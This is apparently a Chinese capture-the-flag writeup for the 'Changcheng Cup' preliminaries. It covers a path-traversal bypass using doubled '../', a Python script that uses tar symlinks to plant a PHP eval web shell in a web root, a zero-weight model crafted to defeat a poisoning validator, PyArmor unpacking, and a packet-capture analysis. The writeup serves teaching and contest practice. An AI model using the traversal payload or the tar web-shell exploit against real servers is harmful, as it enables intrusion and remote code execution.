第五届”长城杯”网络安全大赛初赛Writeup赛题只有 Web、AI、数据安全三个方向

一、Web

1、文曲签学

image-20250915170454173

打开环境得到一个电子词典

image-20250915170535119

根据提示长按 Fn 激活调试模式

#help 查看可用指令

image-20250915171940464

#list 查看笔记列表

查看 HINT(提示) 文件

image-20250915171956913

#read HINT 查看提示

image-20250915172008517

然后去公众号 看一下提示

image-20250915171648991

1
2
3
4
提示:
flag在/flag下,可以尝试目录穿越漏洞来读取它。
会过滤“../”,可以使用双写来绕过。
文件名有大小写区分。

发现是目录遍历 但是过滤了../ 那就双写绕过

#read ….//….//….//….//flag

image-20250915171905896

flag{96d1c87d-aaff-4aa0-aeea-dabc8da7dd2f}

2、EZ_upload

image-20250915172055660

随便上传一个文件得到源码

image-20250915172238000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
highlight_file(__FILE__);

function handleFileUpload($file)
{
$uploadDirectory = '/tmp/';

if ($file['error'] !== UPLOAD_ERR_OK) {
echo '文件上传失败。';
return;
}

$filename = basename($file['name']);
$filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $filename);

if (empty($filename)) {
echo '文件名不符合要求。';
return;
}

$destination = $uploadDirectory . $filename;
if (move_uploaded_file($file['tmp_name'], $destination)) {
exec('cd /tmp && tar -xvf ' . $filename.'&&pwd');
echo $destination;
} else {
echo '文件移动失败。';
}
}

handleFileUpload($_FILES['file']);
?>

发现接收文件后,对文件名进行了简单过滤,随后将文件保存至 /tmp 目录,并执行了 tar 解包操作。

通常文件上传的目的是写入 WebShell,但由于文件被保存在 /tmp 目录下,因此我们需要设法修改文件的保存路径。

此时可以利用 tar 解包时的符号链接(Symbolic Link)机制来改变文件的保存路径。

符号链接类似于 Windows 中的快捷方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import os
import tarfile
from io import BytesIO

# === 参数设定区 ===
payload_data = b'<?php phpinfo();@eval($_POST["shell"]); ?>'
payload_filename = "shell.php"

# 符号链接配置
link_alias = "my_link"
destination_path = "/var/www/html"

# === 核心逻辑区 ===

# 构建符号链接 tar 包(文件名改为 softlink.tar)
with tarfile.open("softlink.tar", mode="w") as archive:
link_entry = tarfile.TarInfo(name=link_alias)
link_entry.type = tarfile.SYMTYPE # 使用 SYMTYPE 而非 SYMLINK
link_entry.linkname = destination_path
archive.addfile(link_entry)

print("✔ softlink.tar 生成完毕")

# 利用前面创建的符号链接路径构造写入目标
target_in_archive = os.path.join(link_alias, payload_filename)

# 构建包含 Webshell 的 tar 包(文件名改为 shell.tar)
with tarfile.open("shell.tar", mode="w") as archive:
file_entry = tarfile.TarInfo(name=target_in_archive)
file_entry.size = len(payload_data)
archive.addfile(file_entry, BytesIO(payload_data))

print("✔ shell.tar 生成完毕")

建议使用Linux系统运行脚本

image-20250915173504542

然后按照顺序,先上传softlink.tar 在上传 shell.tar

然后访问路径为 :http://url//shell.php

一句话木马密码为:shell

image-20250915173554584

蚁剑连接 在根目录下找到flag

image-20250915173717171

flag{7d81847f-1f89-492a-ae8f-edde1a9a2001}

二、AI

1、 easy_poison

image-20250915200300524

题目描述:城市应急 AI 哨兵开始对关键灾情视而不见,怀疑其训练数据遭到了投毒攻击。任务要求我们复现该攻击过程,通过让验证器判定攻击成功来获取 Flag。

经代码审计,核心逻辑如下:

  • 上传接口/upload,仅接受 .pth 格式的 PyTorch state_dict 模型权重文件。
  • 验证机制validator.py 会使用干净的训练集 data/train_set.csv 重建词表和预处理流程(包括:转小写、去除非字母字符、word_tokenize 分词、选取词频 Top-2000 的词汇、padding=35),然后在秘密验证集 data/val_set.csv(位于靶机)上测试用户上传的模型。若所有秘密样本的预测结果都被误导为“非灾情”(类别 0),则判定攻击成功,返回 Flag。

附件文件分析:

  • app.py:Flask 应用,处理文件上传并调用验证逻辑。
  • validator.py:加载用户上传的 .pth 权重,在秘密验证集上运行模型,全为 0 则返回 Flag。
  • src/preprocessing/preprocessing.py:文本预处理脚本,清洗规则为仅保留 A-Z 字母,中文字符将被清除 → 因此触发攻击的关键词必须是英文,且在 Top-2000 词表中。
  • src/model/model.py:轻量级 CNN 文本分类模型(流程:词嵌入 → 多核卷积 → 特征拼接 → 全连接层 → Sigmoid 输出)。
  • data/train_set.csv:干净训练数据,用于重建词表。

因此,我们的目标是:生成一个能将所有秘密验证样本预测为 0 的 PyTorch 模型权重文件(.pth),并确保其结构与目标模型一致

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import os
import sys
import torch

ROOT = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, ROOT)

if not os.path.isdir(os.path.join(ROOT, "src")):
raise SystemExit("src目录不存在")

from src.model import TextClassifier
from src.parameters import Parameters

def initialize_model():
"""初始化模型并设置权重"""
params = Parameters()
model = TextClassifier(params)

# 初始化所有权重为零,偏置为负值(偏向输出0)
with torch.no_grad():
for param_name, param in model.named_parameters():
if 'weight' in param_name:
torch.nn.init.zeros_(param)
elif 'bias' in param_name:
torch.nn.init.constant_(param, -100.0)

return model, params

def save_and_test_model(model, params):
"""保存模型并测试输出"""
output_path = os.path.join(ROOT, "1.pth")
torch.save(model.state_dict(), output_path)
print(f"模型导出成功: {output_path}")

# 测试模型输出
model.eval()
test_input = torch.randint(0, params.num_words + 1, (1, params.seq_len), dtype=torch.long)

with torch.no_grad():
output = model(test_input)
print(f"测试输出: {output.item():.6f}")

def main():
"""主执行函数"""
model, params = initialize_model()
save_and_test_model(model, params)

if __name__ == "__main__":
main()

image-20250915200133841

然后上传

image-20250915200208602

得到flag

flag{3e7d92c4-5a8f-4d2b-a9c7-816253940718}

2、大型语言模型数据投毒

image-20250915200500405

下载附件

在eval_code33.py 文件发现

文件是一个被 PyArmor 加密的 Python 脚本

image-20250915200325903

然后通过查找相关资料下载了 Pyarmor-Static-Unpack-1shot 工具

image-20250915200354124

然后在oneshot 文件夹中找到 shot.py 脚本,并运行以下命令:

1
python shot.py 大语言模型数据投毒_36fe1f3168a40b009a4d62a5732d7577

image-20250915200442170

发现生成了三个文件

image-20250915200524852

然后在das结尾的文件中找到flag

image-20250915200547612

flag{po2iso3ning_su4cces5sfully_triggered}

数据安全

1、RealCheckIn-1

image-20250915200616084

题目内容:

1、风顺获取的第一个flag是______________?

下载附件然后进行分析

http搜索发现是若依的框架

image-20250915192456166

接着往下翻得到了cmd=ls

image-20250915192727084

追踪tcp流

image-20250915192740537

然后发现fffllagg1.txt 文件

接着继续翻数据包

image-20250915193522862

发现了写入fffllagg1.txt 的数据包 写入内容是一串base64编码

image-20250915193629883

解码获得flag

flag{d988eb5fcda1488fa3d3024a8780bbcd}